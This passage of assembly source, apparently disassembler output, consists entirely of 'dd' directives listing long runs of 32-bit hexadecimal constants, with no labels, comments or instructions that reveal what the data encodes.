		dd 5DEB78h, 0FDC67FA5h,	5756CA12h, 191BD3Eh, 0D2B66859h
		dd 21D03EA1h, 53500C81h, 2B99DD0Bh, 0E0091F4h, 3949887Fh
		dd 835216h, 9750448Bh, 2D956C87h, 0C7CC3E55h, 222291E2h
		dd 17A8E886h, 991C00A4h, 91113514h, 0C63D7C56h,	8EA3871Eh
		dd 9460769Eh, 6321804h,	2588A78h, 400781E2h, 4BA914C6h
		dd 0DD0EFCE5h, 0E006D299h, 60825Dh, 5CBDFD94h, 919BDB8Ah
		dd 542B2C00h, 4A524947h, 59670A92h, 4FB4C5D7h, 0D9AFB080h
		dd 1E782E97h, 626214Ch,	0AB51A1F3h, 94FE29h, 677EB33Ah
		dd 115A9257h, 2CDE4C00h, 27F9A9D0h, 0FD950022h,	0D8AB6494h
		dd 5001F70Dh, 0EC6D61CAh, 0D8407584h, 3AFE9D0Ch, 0C785D5BDh
		dd 2338D794h, 22A45E94h, 0C993208Dh, 373F2CBCh,	64AE800Eh
		dd 0C6886F8Fh, 75ED0060h, 5F771DF5h, 0D2002073h, 0BE743D84h
		dd 0E7C24FEh, 125268C4h, 3EB48A80h, 0CD01E8D8h,	0F96630BBh
		dd 8BC46079h, 5FDF0010h, 6A266291h, 11001376h, 3DF434ACh
		dd 331453FDh, 0F508A5A6h, 0B3EA2101h, 0F6486E34h, 4E73DE0h
		dd 3F03965Ch, 0A31075Fh, 69779D80h, 2AD40061h, 379C1017h
		dd 0EDEBA18Fh, 9113F9FDh, 0A807F78h, 0D3DEE34h,	806BEE8Ch
		dd 3400B1F8h, 44A394E6h, 2FF7DAh, 0DD68CC09h, 5CEA1D7Ah
		dd 0EC6A81C0h, 607C3B1Ah, 0EE561177h, 0CE010A63h, 0F58F0566h
		dd 0A9D004D6h, 9020C008h, 3EF26440h, 95883000h,	680BD0D4h
		dd 0B10318BBh, 2F55963h, 0AA00B07Ah, 555B0E51h,	182AD3A7h
		dd 48094A2Fh, 9A00108Fh, 2381A89Eh, 1F55C5Dh, 177CC22h
		dd 52A1C0F6h
		dd 0A33E4B8h, 0B53E4BD8h, 410C447Ch, 0B634B8E7h, 7D38B7DCh
		dd 0E86500DBh, 0ED583BF0h, 0F414201Ah, 1C42356h, 9B5D5ACBh
		dd 0C9C47479h, 82440E0Bh, 85804D8Bh, 0C1E2EBCDh, 57FC811Fh
		dd 0D35EDE40h, 0C0BC3429h, 1174A5C2h, 0BF008847h, 5C1AD610h
		dd 77E25EBh, 0C7D2E25Dh, 0F50F2976h, 3F19AE40h,	5002C1Dh
		dd 3BCFC5ADh, 76D52B5Eh, 399200E2h, 6AB88415h, 73002ADAh
		dd 0E9B48EF7h, 0E4E14CD6h, 0ABEF0057h, 78399E1Bh, 100070Bh
		dd 73372BEEh, 7A6B33F8h, 0BDCA0215h, 44983206h,	0AA1E45E3h
		dd 0F2414FEAh, 0B0639A47h, 33F9D0h, 99C562A7h, 0B25A343Ch
		dd 1BFAE318h, 0C04DAC18h, 97327308h, 3C014227h,	0F7B74FDEh
		dd 0E07A839Ch, 2C00BE57h, 0DFF4C4ECh, 2FEB206Dh, 26D8C863h
		dd 97261000h, 0B9DE707Eh, 21BE0C14h, 84798E56h,	73AEC71Fh
		dd 239AD607h, 31668960h, 83720234h, 0B24060BAh,	0AF6D0660h
		dd 5BEFD400h, 6F26FF86h, 7EDC1F2Ah, 8038C663h, 0C902A956h
		dd 955AC7E5h, 71F6C00Ch, 122A0025h, 0A65BB2F8h,	0E30D2DFFh
		dd 300EC390h, 7087ADF0h, 0B1F8CCD0h, 5460AE21h,	5487D51h
		dd 0E89900EDh, 329DF776h, 0DA1EF430h, 6F404033h, 969B3BF5h
		dd 4186000Ch, 136A455Ah, 0BFFC0899h, 73E3A900h,	0BC0CB31Fh
		dd 0AF7BE1h, 0D87F8020h, 0F57E2EDEh, 0AD48C400h, 6759115Bh
		dd 0BFD73CF9h, 0E413FB00h, 20CDEC40h, 0A3019C03h, 0B812AFDDh
		dd 2BED2Eh, 0CB07454Ch,	5846474Dh, 0E1A1FC00h, 9A19D5C0h
		dd 1FCA7317h, 80201E0Bh, 1CEAD4FAh, 0F5002C7Ch,	53DA69C3h
		dd 179052h, 218048BAh, 0CDEEA203h, 4E514D1Dh, 14882440h
		dd 0F2822BDBh, 1E807E66h, 0C0C1DAE7h, 0C960A0C4h, 0B403D54Eh
		dd 11E5010h, 0ED73C0B6h, 838D002Eh, 12C0F5F0h, 5106CCEBh
		dd 203BBDD5h, 0DC7B2228h, 54089942h, 0E910CA90h, 299D1892h
		dd 7E898445h, 0E55121E3h, 0BE46C708h, 44361450h, 7D84F1E6h
		dd 83D8934h, 0CD66208Fh, 22418D22h, 922FA61h, 0EA9C3285h
		dd 0B911F951h, 29B526EAh, 0C5D9CE00h, 0A486D56Fh, 625B01DEh
		dd 0C92F240Fh, 799030B9h, 4A345Ch, 5184F00Bh, 0EC50AFh
		dd 4DB81D6Bh, 929C7A77h, 575AB200h, 4402AD08h, 762778F7h
		dd 0D11018B1h, 0BA51E18h, 688F6237h, 785C9730h,	31CB0044h
		dd 0E9F163F4h, 1E7DC10Fh, 0D80FC0B8h, 0E44A81h,	0F726F42Fh
		dd 0B56907B3h, 235A2D42h, 0C39080E7h, 10168846h, 8E1FF5D0h
		dd 0D7664C40h, 0C1D89Eh, 8251B04Eh, 0FD8F488Dh,	80333C3Ch
		dd 4FF64D83h, 0E1A81Eh,	285BCA5Eh, 60A8049h, 89382B01h
		dd 0F0E633A5h, 70B960h,	7C04CDD1h, 619D782Fh, 33D81B13h
		dd 0B0364900h, 1D803722h, 40031E51h, 88856CBBh,	0B5003F82h
		dd 4526789Ah, 1429C7Dh,	7F1A7158h, 0E4C40999h, 65009A2Ch
		dd 7E4EBEFDh, 79FFEAh, 8D625529h, 6EBF0DFCh, 9C87F300h
		dd 0AF0A6816h, 8F190CC8h, 8920981Ah, 0CA7B0202h, 8F612BF1h
		dd 70D31F8Ch, 35300700h, 0A6459Dh, 0E98B69C1h, 6F5192F2h
		dd 0E53FFB0Eh, 0FFB7E0BDh, 3D874F5h, 40677634h,	0B2A7946Ah
		dd 84801AE9h, 8078A44h,	0B300D773h, 2BB277C9h, 4AF599h
		dd 1DB6752h, 0A4E9C00Dh, 36806F01h, 0F318688Dh,	769B040h
		dd 0DDBD00CCh, 3D9E4A5Ah, 0FA0047D1h, 0C5F41906h, 76BB798Ah
		dd 8067003Fh, 308666DCh, 0E402CEA6h, 48920742h,	0A8868051h
		dd 26D3E5h, 0D11D61ECh,	294E3097h, 0EE6A4600h, 5E069690h
		dd 0CCCA0FBEh, 577D0Ah,	0AB4C2D5Dh, 92285161h, 0EB009071h
		dd 9F3B036Fh, 0FDF552h,	0C263C366h, 40C69202h, 0F46C5A00h
		dd 7F1EBD4Ch, 0F04F275h, 0B035BBF6h, 0A0989B01h, 121DE465h
		dd 3EBDE100h, 0F5E91E0Eh, 3F21F086h, 0F400BBE6h, 5F6240BAh
		dd 2B050818h, 5C4652D6h, 0C8DD0880h, 0DE4700E5h, 0FE27FC56h
		dd 0AE007E67h, 2F3472E4h, 0F25CDA23h, 43D900D3h, 2E74252Ch
		dd 367042BFh, 1E1D0603h, 98DA5F55h, 3C9678h, 6C6A8093h
		dd 0DEF2EDEFh, 53E85800h, 826823D5h, 487E0377h,	3392C809h
		dd 883F9DB0h, 0D0305F00h, 34048E76h, 1C0100D3h,	4ACC8DE1h
		dd 5E017529h, 5CB5AD1Eh, 0A360AC97h, 0E0D30E31h, 0C19C4FF5h
		dd 0D91AA1DDh, 0BEFE42BDh, 25DE4E60h, 0A31B8201h, 9B915B83h
		dd 0FC1CE8h, 946B16D7h,	0AE4447B8h, 0A30031F2h,	0E59BDCA6h
		dd 0BB234Bh, 0CC664F88h, 0F8E12CC2h, 0CA00E775h, 83AFB25Fh
		dd 0E42318BBh, 5E2D1209h, 0EA7DC2A7h, 0F546A440h, 57734901h
		dd 0E36E9B0h, 0F633834h, 7A7B0CFBh, 8F5BA082h, 6B21BC80h
		dd 16030EFDh, 7553EAC3h, 0B2B8A0B6h, 8C20C36Ah,	0F8B85240h
		dd 0CD01A66Bh, 0EEDE8591h, 1FD881CBh, 0F2BC9089h, 0D76004E5h
		dd 0C70F6D62h, 0B6191067h, 0CB0E22FBh, 0CF5785A3h, 0F730E0A1h
		dd 8DC643h, 7431D420h, 53C394F9h, 6BA95600h, 16BB7809h
		dd 54B835h, 0ED8941E1h,	0F35D0E9Fh, 0E34BE000h,	7DB18188h
		dd 1CACF28Fh, 0C0ADA603h, 164FBAE4h, 1A00E3F7h,	0E5441BA3h
		dd 1D6A606Dh, 443BB0F3h, 81470B51h, 0F805BA50h,	0A614E0C6h
		dd 3DBABCCh, 0E71CFFA1h, 21E0EF66h, 0FDD09Ch, 3961AAEDh
		dd 0B0D6B385h, 36712B00h, 9D74600Ch, 0A92F006Ah, 0E557271Ah
		dd 4F091DFAh, 80339738h, 9969717Ch, 0CA66019Bh,	0B9DC9632h
		dd 7FC3051h, 65EE1B14h,	0CE0E0098h, 5C0DF1B8h, 0ED91266Ah
		dd 59D900BCh, 0EC4CFE30h, 6638E200h, 0D21819CFh, 4D7EA0h
		dd 0FAFF21Ah, 7A9558AEh, 0EEBD101Eh, 2A6C25C0h,	26E15BF6h
		dd 803CF5B2h, 34B8D5CCh, 611F4BB3h, 0A300D270h,	0CB6C44B6h
		dd 0A9280114h, 0AF17C831h, 0A998192h, 8F2CCF9Ah, 17F73530h
		dd 55DEF9h, 0C0809E91h,	60F3F373h, 4000B8ACh, 3EB053F8h
		dd 0D204AFh, 32E91857h,	63E249C3h, 0D0DA7E00h, 3C4486ADh
		dd 5DF70041h, 1C8CC61Eh, 0C001CC59h, 0F6B402A6h, 81F8E4F3h
		dd 0F09600DFh, 5C01CBAAh, 4733694Ch, 0E82DD0E6h, 1FE3A599h
		dd 95560F8h, 4401874Bh,	0F0A4B358h, 0C6E87C50h,	5EFA0900h
		dd 8EED7820h, 0C0F7025Ch, 0BD150EF6h, 68604862h, 9E744635h
		dd 1F80A000h, 0FBC3EE5Ch, 1B0F00E4h, 9C85458Ah,	8100A564h
		dd 7F3BD2D0h, 0EEF87Eh,	6B76835h, 93D19131h, 76E203Dh
		dd 0CA383C4Ch, 0F2E14990h, 0B251006Ch, 0A25B9854h, 97006475h
		dd 0AED68928h, 7E67B66Eh, 0C9030006h, 5401A94Ch, 0FD1EA02Ah
		dd 99C0DD77h, 0CA794A76h, 857D3B17h, 5C0C3B82h,	644865DCh
		dd 0E8006A6Eh, 49A033D7h, 9278963Dh, 82F61068h,	6DD8001Ah
		dd 8626EA34h, 0ACA3001Dh, 91973777h, 70F695CFh,	0C5033F01h
		dd 4F209B31h, 44B6424h,	0ED7DCB3Bh, 0D12CC08Bh,	60000451h
		dd 0C149B0F5h, 129F8F6h, 81E2F924h, 4043E601h, 911D36C1h
		dd 5C029870h, 0D697DFAEh, 0A380E057h, 3B7900EEh, 0E4C239A7h
		dd 0FA006462h, 89E2FD91h, 396CBAADh, 0B9006567h, 720FCD54h
		dd 404CC8E9h, 34921629h, 0C9ED2C00h, 0E4FFD4h, 16F23577h
		dd 0D13991D3h, 0AD00B57Dh, 0C07A6998h, 0A35A32h, 81601496h
		dd 0EDCE1BC1h, 0AA509D1Dh, 3997E9C0h, 378EF7E4h, 0C1A05DE1h
		dd 300FD580h, 0BB003E98h, 0E71A7F6Ah, 4A210Ch, 9A405F6h
		dd 0F23A1211h, 47E36E00h, 73AFD9A2h, 0C9CB0039h, 8D787B2Ah
		dd 4006A57Ah, 5E4CF8B1h, 0B23D04D4h, 82F7235Dh,	0B4E6DEC8h
		dd 0F4E36804h, 0B180B405h, 0E2BDEEh, 48A29D40h,	0C22DD2CBh
		dd 8970520Eh, 68F84027h
		dd 76B0EFh, 0C509A20Bh,	0F92971F0h, 74037AE2h, 3A9011D0h
		dd 0CC1ED07h, 39D830B3h, 75260B2Ch, 5281A0C9h, 0CAE37F3Dh
		dd 94F84057h, 81830764h, 1EA27E2h, 0FCA2E0B5h, 7C3F82ACh
		dd 60922E74h, 61E73F00h, 0ED058Eh, 0C166AF3Ch, 4999D22Dh
		dd 0CFEC7503h, 80FFD315h, 39EF926Bh, 1A70353h, 1E00AB56h
		dd 3D14BCC8h, 65111DA8h, 9D0F0B36h, 6DB87400h, 18B8DD56h
		dd 98D00700h, 0ED9CC547h, 1C8AA0ACh, 1F85001Ah,	417FE88Eh
		dd 0D007D20h, 0F3E7B848h, 24E40283h, 0F101B1Eh,	3A7CA8FEh
		dd 5C8D24h, 989FDBE0h, 10C08A78h, 290D41Fh, 966B0082h
		dd 5A6E3351h, 0BD00A28Dh, 0E50579Ch, 0D8A18Fh, 0D2941FAAh
		dd 18736755h, 33EAA400h, 43A21560h, 0F666054Dh,	8080C8ACh
		dd 9919273Bh, 0DD3DA17h, 0EFC303BFh, 94A83FDEh,	0C807D7C2h
		dd 0E381FF03h, 7A10B770h, 0A6C501DFh, 4E4BF02Bh, 86E820E1h
		dd 0F4B1F300h, 4A1101ECh, 94852ECDh, 0A888005Dh, 1F8EF920h
		dd 0A12F8300h, 0AEFF8DEh, 0A05DE0A4h, 3DE2CCh, 2B7769AEh
		dd 0DB5F09D2h, 0E890767Bh, 94836316h, 988E4C30h, 0B7FC4Dh
		dd 1D458CD7h, 81AB8634h, 0A58ADE4h, 78041104h, 79EDB200h
		dd 685A6997h, 1019CB00h, 0F46D2136h, 2B7EA9h, 77FA6189h
		dd 0F5E39E0Fh, 96A5D900h, 2827F57h, 1C2328F6h, 47B409D0h
		dd 0D88084D4h, 0F059E078h, 7034EB09h, 42D9001Fh, 7AF797h
		dd 0B2E5EEFAh, 0AC3C6FFDh, 0ECFA73Fh, 0E00B33DDh, 0CB99D5BCh
		dd 665800F6h, 8B32BFD2h, 4503A5D1h, 518889C2h, 9DD4E042h
		dd 6BEA002Eh, 0E323AC2Fh, 0E2580BC5h, 10F71F24h, 853E0378h
		dd 0B89E3642h, 15B40h, 0C6CE1CCCh, 9845FAADh, 62B7D400h
		dd 0F1839DDAh, 0F0F6013Dh, 0D25310E4h, 0DBAFD867h, 8382CFA3h
		dd 20A06841h, 8094DEF4h, 9840E81Ch, 0E0E33E15h,	0DCB700BFh
		dd 93B42AAh, 0EF04FB50h, 8C252E1Dh, 0F6825080h,	0AFCF00EEh
		dd 209504AAh, 0BA005FC3h, 603AB6A4h, 0E6DCADEh,	52BDCC0Ch
		dd 7750212Bh, 9A25CB04h, 2481500Bh, 0C34666C1h,	0B21D0BE8h
		dd 0E8806927h, 68D280A4h, 30EB11FAh, 0CD76713Ch, 94CBD52Ch
		dd 0F8625E01h, 0B7CC56DEh, 6B407A3h, 0B00C9ED2h, 89F4306Ah
		dd 0E0BBE48h, 0E0EF2E9Ah, 0C808EA52h, 224A13C3h, 80E0006Ah
		dd 93471B17h, 693EE47Dh, 3B5F908Dh, 0F4804D39h,	53166DB0h
		dd 0F2777711h, 597631EAh, 393DCB00h, 3ACC501Ah,	7BBA0048h
		dd 996125FFh, 3E000DEDh, 76B4BB7h, 4846D978h, 56245418h
		dd 260A04C0h, 0E78A335h, 0A1FE8848h, 9F4A2211h,	7CE2820h
		dd 32197FBEh, 0A33B72DCh, 0E1FBFE43h, 0B0BD20B7h, 11073F14h
		dd 0FCCE405Ch, 0E503DAB0h, 0ED01EBBh, 3881F9CFh, 0CDE7E9Dh
		dd 0DF3C84A5h, 74807691h, 5A9862h, 0C7D6740Fh, 0B7FCEFE5h
		dd 7890AFF8h, 3D580109h, 0F7D012Eh, 2FD0974Bh, 0D4ED5D5Ch
		dd 14B5DE09h, 4758A060h, 3886F730h, 926E1E7h, 6FC0647Dh
		dd 0F9B29400h, 84A06AA6h, 3D007217h, 0D6437B27h, 749C5D8h
		dd 0B7E8B1FDh, 52CBA147h, 3CC4369h, 95E0E9D0h, 1091F080h
		dd 0F385D3Ah, 80CF3C39h, 45A32A42h, 0FCE70018h,	601975A8h
		dd 0CD006A0Fh, 0E68956BBh, 0EEA605F1h, 465A00D7h, 0CEB8999Ah
		dd 0F8E50716h, 0E10835C6h, 13518577h, 0F5709F6h, 49784466h
		dd 96328B00h, 0E9E7A490h, 7DE8F622h, 45E06Ch, 61636010h
		dd 2F77E0ADh, 3D0591E6h, 43B23CF4h, 0B3689820h,	4021457Ch
		dd 74380AB8h, 0C4B5C700h, 3E19FB8Ch, 439C005Fh,	0B0D69024h
		dd 294BC2E8h, 2803C1E8h, 0CA6646Fh, 3D3494B9h, 5C9E7984h
		dd 20CA998Bh, 1973F11Ch, 770D0494h, 908ECFD8h, 82989AD8h
		dd 0B5CC490Bh, 0CD910069h, 6659D5h, 84352963h, 79915A55h
		dd 871C8800h, 0AAC0BD68h, 1FC092BAh, 169BA109h,	0F1D80163h
		dd 0D079105Ah, 92009046h, 540D386Eh, 394947C5h,	0B7006B83h
		dd 86A9281Eh, 80005509h, 9EE025E8h, 0F45C9D2h, 9A8CC381h
		dd 713D0013h, 43536E40h, 3F0BE3Bh, 0F9D5BA95h, 0A3E0F0C2h
		dd 68350025h, 3A48298Eh, 19F431C9h, 49D25E00h, 0CD9B5281h
		dd 21A63E2Ah, 17000B5Ch, 3D938657h, 436F6064h, 2644A01Ch
		dd 3BA2B8C2h, 2B091EFDh, 0C5580642h, 1D4DE903h,	80551B91h
		dd 237F89h, 0B34A7698h,	517AC977h, 7DD46800h, 0A08C417Ch
		dd 11C000A4h, 0FE6386A5h, 0EC50441Eh, 0A603FFF8h, 0AEC5D91Fh
		dd 3026A801h, 0AA0C00EBh, 8E2C3516h, 4A00B1D5h,	2FD0AB3Fh
		dd 1C2DC592h, 40F8777Fh, 577B075Ch, 0D71DE87Eh,	0A63FE2A3h
		dd 7802D8A2h, 2E1952Ch,	36E33F15h, 8458C9AAh, 41F1111Eh
		dd 84715780h, 28C3C44h,	40086089h, 34EB1FD6h, 0E8FA3AB0h
		dd 0AE463E00h, 98AFD176h, 74595CB4h, 0B80F784Dh, 29E08971h
		dd 7256E4D2h, 0F2935107h, 84B0C815h, 9A1BE102h,	0A2BB2500h
		dd 0AFEFD087h, 80FE3E6Eh, 0A6A8939Eh, 3F01C180h, 0E3D4370h
		dd 61CCDE67h, 0B49403A4h, 9C21336Ah, 2C2D1B88h,	465FDC1Fh
		dd 8ED2048Fh, 90950701h, 0D13AB090h, 83BC0F47h,	33008E5Eh
		dd 1C6AE7B5h, 0E8521300h, 9B8AA963h, 85C947Dh, 0CE85DF81h
		dd 90418338h, 61DA76DCh, 958824h, 3C469D29h, 3E66BB48h
		dd 34850E00h, 0B3241439h, 0FE1600BCh, 686AFC7Ah, 1F05220Ch
		dd 0AA44CB65h, 0E67FF680h, 0C90E0h, 0D3F48755h,	10B4B748h
		dd 17BB6700h, 1B96DEDDh, 3C7C29h, 0A9669ED1h, 0AF28FB0Fh
		dd 5FB4171Dh, 310E543h,	0B88DE9D7h, 0A07BC8h, 1BF59211h
		dd 0A29CC481h, 2F58480Fh, 0FF04C0DEh, 394AC9E8h, 74BF8031h
		dd 4EB80AF7h, 4E035C0h,	4069CE7Eh, 0D1D9A0BBh, 0E2DB02Eh
		dd 506DB5Ch, 0B8E8DE00h, 0C803F088h, 73149C66h,	632B882Dh
		dd 27B500D3h, 6CAD747Ch, 0E300DB10h, 919A1854h,	20435Fh
		dd 0C88C7DE1h, 283367D1h, 26396EE4h, 0E33DEEh, 3FFCB7CEh
		dd 79EF1F4Fh, 151400B8h, 93B3C406h, 67002FD9h, 7BFD4837h
		dd 1C3F05ADh, 0C01168h,	881EC3Ah, 3139BC72h, 9A9100A9h
		dd 6E718903h, 0F1FF00F0h, 36F39B40h, 39EA7C37h,	299C6900h
		dd 0E4EC82AAh, 0BDF904B4h, 81F85A41h, 389BCAC4h, 26E907C0h
		dd 0C0DF2DC9h, 3573643h, 0B4E50045h, 0B299C586h, 8D282E55h
		dd 0A7058CD7h, 0D2415E05h, 0E2E028B1h, 69D57ED1h, 4CC31047h
		dd 0EC79A9C0h, 0F4663600h, 8486EF7Ch, 0C00F0EE5h, 9525E4Dh
		dd 0D4649C90h, 5F0A2C00h, 319AC379h, 8323000Bh,	0F6437EDCh
		dd 15C44BAh, 400300B5h,	2A79F411h, 0C7F83Ah, 8B4D2D16h
		dd 4A3729C8h, 3E7429C7h, 0D96AF5D0h, 0BCD8180Bh, 750C1812h
		dd 1C013577h, 31AD02Fh,	0D2FA6EDEh, 0B8510004h,	983766FAh
		dd 0A000DF93h, 2B19E5C9h, 4EE382h, 769A0D03h, 5B2DC877h
		dd 0AD18C07h, 9C90E206h, 5C3E6Dh, 9B47AE2Fh, 0C862E41h
		dd 5E792A00h, 434D25Bh,	0C07406h, 0CFAB80E0h, 25071F74h
		dd 1B01EE7Eh, 0CCE9638h, 44CCA91Ch, 97C0060h, 0A59FA6C3h
		dd 8858A869h, 25B60094h, 0EF5BBFE1h, 3A9A0040h,	97AE0470h
		dd 0F1073D82h, 53103EE3h, 8B5E0049h, 334BAD0h, 95BE3251h
		dd 0F9E88DB7h, 0FE2C7DF8h, 0BD0064CAh, 0B31DFA7Ch, 36E40FB4h
		dd 42E159A4h, 0C48E2722h, 0A62F5543h, 2C9CDEh, 43A2351Fh
		dd 5C72E2ECh, 1C0F0490h, 32C0EBh, 66B0363Fh, 2A16012Dh
		dd 8D1DF0B4h, 6FBEF06Dh, 0D79430EDh, 4740B494h,	288B6694h
		dd 1DB85322h, 804472E9h
		dd 2468D355h, 0CE002684h, 31306614h, 33F380Ch, 0BD362AC8h
		dd 680125Bh, 4E002367h,	9B661793h, 0A68709h, 0F551EF42h
		dd 85E3B515h, 25550601h, 0C2E67110h, 1F83F9E0h,	84F6F493h
		dd 0C03F517Fh, 1B071740h, 40E8429Dh, 9C2ACCDh, 0FACC06BEh
		dd 0D0B7A403h, 3FFD57E0h, 5D610A0Eh, 0D19B00A8h, 3EDA81h
		dd 86346D87h, 0D7E915DBh, 0C7581B00h, 1FBB7C8Ah, 134F002Ah
		dd 6A30A812h, 5F07601Eh, 664E53C3h, 0DD914060h,	0BCE700F8h
		dd 0DA06728h, 31003676h, 8FA5F335h, 5E54DCh, 5B062333h
		dd 4C5F87B4h, 8068043Bh, 0D025D7Bh, 0C0C7FC28h,	0EAF9C4B4h
		dd 395847B5h, 0C5DA07A3h, 3D5019C9h, 1D50D23h, 89B15B4Ah
		dd 0CC4F8D18h, 973DE4A2h, 1C3600C0h, 67FE40E8h,	9B64009Fh
		dd 0C48A29FBh, 0E010C2Bh, 478C1CA4h, 8520B45Fh,	0BE3E0073h
		dd 5B1B43D4h, 96000F66h, 0B4FFA11Eh, 1DE20114h,	0C082C147h
		dd 21EDD6F7h, 64008CEAh, 0D3C2F609h, 239D12h, 780C06A8h
		dd 7D87A083h, 6CC02100h, 0F777451Eh, 891B000Ah,	32654F5Dh
		dd 14002BADh, 0B7B64BD2h, 6C34A6h, 0B0CF16F1h, 134DFA88h
		dd 0F005A400h, 21512617h, 0FE6F0064h, 6EA516E9h, 341C475Ah
		dd 803B549Dh, 0BFA4C00Dh, 1D2E93BBh, 803DC410h,	0F1CBF207h
		dd 60C7A2A8h, 6D8723B2h, 4488A9E0h, 668D0C0Bh, 6981B6AAh
		dd 0EB33ED01h, 19DC42ABh, 314845C8h, 1520BE93h,	9EC0F3ACh
		dd 2920CBB7h, 0A9550017h, 51C26EADh, 0B302A6B2h, 2825D64Dh
		dd 4A2C8058h, 0FD9671F2h, 16D1096h, 0A4175F91h,	8B418342h
		dd 0E0FC582Ah, 0A039EAC8h, 0E36E2558h, 0EB0358BCh, 13DC45DBh
		dd 15EF7801h, 6A7325C9h, 74ED2195h, 4C808F3Ah, 3719EC0Eh
		dd 2F00A601h, 62976BBFh, 0C75A7h, 7DEE3851h, 3129DF0h
		dd 0B4ADCA07h, 0B3E0A185h, 3F94E902h, 8780281Dh, 0B5DD4379h
		dd 560F6B1Ah, 2042A8F9h, 0EA2971ABh, 0CE3A0AA5h, 80E4BF7Eh
		dd 0F607518Ch, 6C1C089Fh, 0E4C0DFDDh, 5728F2FAh, 0FCD9008Ah
		dd 9660FD73h, 2A007147h, 876F5D88h, 0F6827709h,	6AF097h
		dd 0EC5C7D72h, 12C952B8h, 0F8A0F001h, 50EBDE34h, 76C07F0h
		dd 0DA5B70A6h, 1B636143h, 0C157CCF0h, 3081CA1Eh, 0AC96F780h
		dd 474A6Dh, 4E59BCFAh, 0BF75018Fh, 0AAC91703h, 0F0C72B73h
		dd 10E4B72h, 3D1F044h, 4AD4878Eh, 2B80BB04h, 57C3535Fh
		dd 60009E98h, 3F795585h, 0C08073F2h, 2F2EC628h,	2800EB24h
		dd 8A922ADCh, 0B67689h,	0B9F2D33Eh, 0C1041F60h,	42398022h
		dd 0C4B138F0h, 0CD2284ADh, 0B008E73Ch, 84E1B344h, 2225BC22h
		dd 0C5223318h, 579522B2h, 2227D122h, 7222E0Ch, 886971ACh
		dd 60893B98h, 0AF447C08h, 0D422845Dh, 2D1422F6h, 3FA9CB10h
		dd 0B8085121h, 4891F7h,	18A40A87h, 9B77C7h, 294063BEh
		dd 8E6FB376h, 62C11B00h, 2175CB9Eh, 45E40007h, 68361727h
		dd 1008A89h, 5473963Ah,	57E94Bh, 0BC90F326h, 2DD2CA32h
		dd 1700B1E6h, 7AC71296h, 7D584Dh, 0C07F3E43h, 9DEA2A68h
		dd 0FEBA5D00h, 0DF47AAF2h, 0EE2700FAh, 7ABC9C54h, 741D074Ah
		dd 45404D91h, 0A5CA34E5h, 0BD470066h, 0A2C512E7h, 440E4388h
		dd 208FE4F7h, 0B0071BAEh, 1892C3h, 912F669Fh, 607AFB8Ch
		dd 0F9ACFC00h, 0CF6C7347h, 48C10006h, 6DD43A71h, 0DB3BC657h
		dd 44E30018h, 93196B3Fh, 2DBC1C26h, 8C47C3CBh, 0E980E088h
		dd 8104C3FFh, 8905BB01h, 0EBC64C80h, 4DC20046h,	9D2A6995h
		dd 0A770BA26h, 56940100h, 0D00B305Ch, 4F740059h, 127984BDh
		dd 0B100235Fh, 4AC9DA06h, 3D3FB71h, 0EE02574Dh,	56F0F53Fh
		dd 7A7DB230h, 0B60A5200h, 0A54CBCEDh, 0BA728Ch,	3F6DF149h
		dd 0F0851821h, 13CC041Ch, 22167380h, 12A51B2h, 62CBBC39h
		dd 0ECA6362Eh, 0C000EE2Ch, 66E07782h, 878563h, 4978EF23h
		dd 3BF955F6h, 0D428B200h, 6B191D9Bh, 76240089h,	186D5A0Dh
		dd 95012B72h, 0AC73FF1h, 0F2F0B7C3h, 49300C6h, 14F7A086h
		dd 0AE03A2DDh, 0FBD4C2D9h, 0BA6399FDh, 3998DE4h, 0FA0A0F33h
		dd 8C809FBDh, 0EC2C4D4Fh, 0D4007716h, 58806642h, 345D00C1h
		dd 0D0EA8B25h, 1B0038B0h, 48BE4D85h, 0EC7BD235h, 0E7787Ch
		dd 0B552C15h, 0B0DDC2A7h, 0B1EB9A00h, 778AC6F0h, 0E20900DBh
		dd 0DDF39E3h, 0EF141E74h, 1CCA568h, 0E5263773h,	91E832CDh
		dd 567B1265h, 410C00CAh, 3C6F9F18h, 0A1010C79h,	883BEF70h
		dd 8BD9048Dh, 5A002C22h, 31FB506Eh, 0CA0301B8h,	0E54BFFE7h
		dd 0FEAB9039h, 0A49F014Dh, 2285B53Eh, 464C20D6h, 0AE48DD00h
		dd 5133BEAAh, 0CA362486h, 0AC803F20h, 0D92018CCh, 0B290F805h
		dd 7661C62Dh, 0F02B00E7h, 1ECEF648h, 7ABA5E00h,	2FD95F9Ch
		dd 33DE471h, 9448DE2Ah,	89F019D2h, 7E00C10Dh, 62EB77E3h
		dd 7B25B0Fh, 0C22A98A9h, 0FD4C7306h, 705EC3B9h,	673A197Ch
		dd 7953017Dh, 0F8407AABh, 1C46C887h, 99AC002Dh,	0A2077C8Ch
		dd 8279DC0Fh, 4EC03C14h, 0F717FCCh, 61FED35Fh, 17DA3680h
		dd 0F3514F01h, 0B3F0CCFCh, 29FF6E00h, 0E97CA6E6h, 97B00B6h
		dd 504E364Dh, 0B301E854h, 70866424h, 0B0C02803h, 0C4E900A2h
		dd 0C812F37Ah, 40F954A1h, 0EA0DFAA0h, 94AF5800h, 0E62184B2h
		dd 34CF67Bh, 0BEA3C750h, 55E85DDAh, 0AEFE40AFh,	90D0A400h
		dd 819B7E27h, 71CB0EE0h, 8EE0C7EFh, 368F8D3Ah, 0B05CF600h
		dd 0B24C6692h, 0A40F0E6Eh, 0D8A004F2h, 71E5B735h, 0D059000h
		dd 94D350C6h, 9161016Fh, 36471523h, 5E1C20C9h, 7AA6BB03h
		dd 0B848C6E1h, 1C65A221h, 0BF37D3h, 91355F2Dh, 0DCF8239Fh
		dd 7F00B5FAh, 12053DC8h, 3E3CAE8h, 0FE584B06h, 11904A32h
		dd 0DB000B21h, 64F9C63Ah, 191EBBh, 3190738Ch, 0D7E5F717h
		dd 0A2024090h, 5AD35EA5h, 134F00E0h, 59B0CFD5h,	3BB5F30Bh
		dd 0B2A4204Ch, 163A5h, 0FAF631FDh, 0C532FB56h, 7C18DE00h
		dd 3ABE60F5h, 0EC60046h, 0FA26D424h, 75003D9Fh,	2C73CE52h
		dd 0EDEE36h, 7816775Ch,	84C57186h, 1C416509h, 60E40E8Dh
		dd 35732D23h, 0BA52003Fh, 7693C828h, 3000806Ah,	0BC2B37D0h
		dd 138E5B69h, 2ED6E2h, 31919AFCh, 0BBFDF74Eh, 39550060h
		dd 8774B045h, 40BBE465h, 0FD18C78Eh, 0BCD02D28h, 0C10B80B8h
		dd 5926A577h, 3800108Ah, 0B71D0C5Eh, 0D0DC0057h, 0D475AD81h
